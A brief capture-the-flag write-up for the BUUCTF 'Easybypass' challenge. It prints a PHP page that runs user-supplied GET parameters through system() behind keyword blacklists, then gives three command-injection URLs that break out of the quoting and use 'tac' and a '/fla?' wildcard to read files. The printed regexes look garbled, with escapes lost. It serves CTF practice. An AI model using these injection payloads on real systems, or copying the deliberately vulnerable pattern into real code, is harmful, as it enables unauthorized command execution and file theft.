[BUUCTF]Easybypass-解题步骤详解

<?phphighlight_file(__FILE__);$comm1 = $_GET['comm1'];$comm2 = $_GET['comm2'];if(preg_match("/'|`|\|*|n|t|xA0|r|{|}|(|)|<|&[^d]|@|||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))    $comm1 = "";if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))    $comm2 = "";$flag = "#flag in /flag";$comm1 = '"' . $comm1 . '"';$comm2 = '"' . $comm2 . '"';$cmd = "file $comm1 $comm2";system($cmd);?>

?comm1=/etc/passwd&comm2=/var/www/html/11.php";"ls

?comm1=index.php";tac index.php;"&comm2=1

?comm1=index.php";tac /fla?;"&comm2=1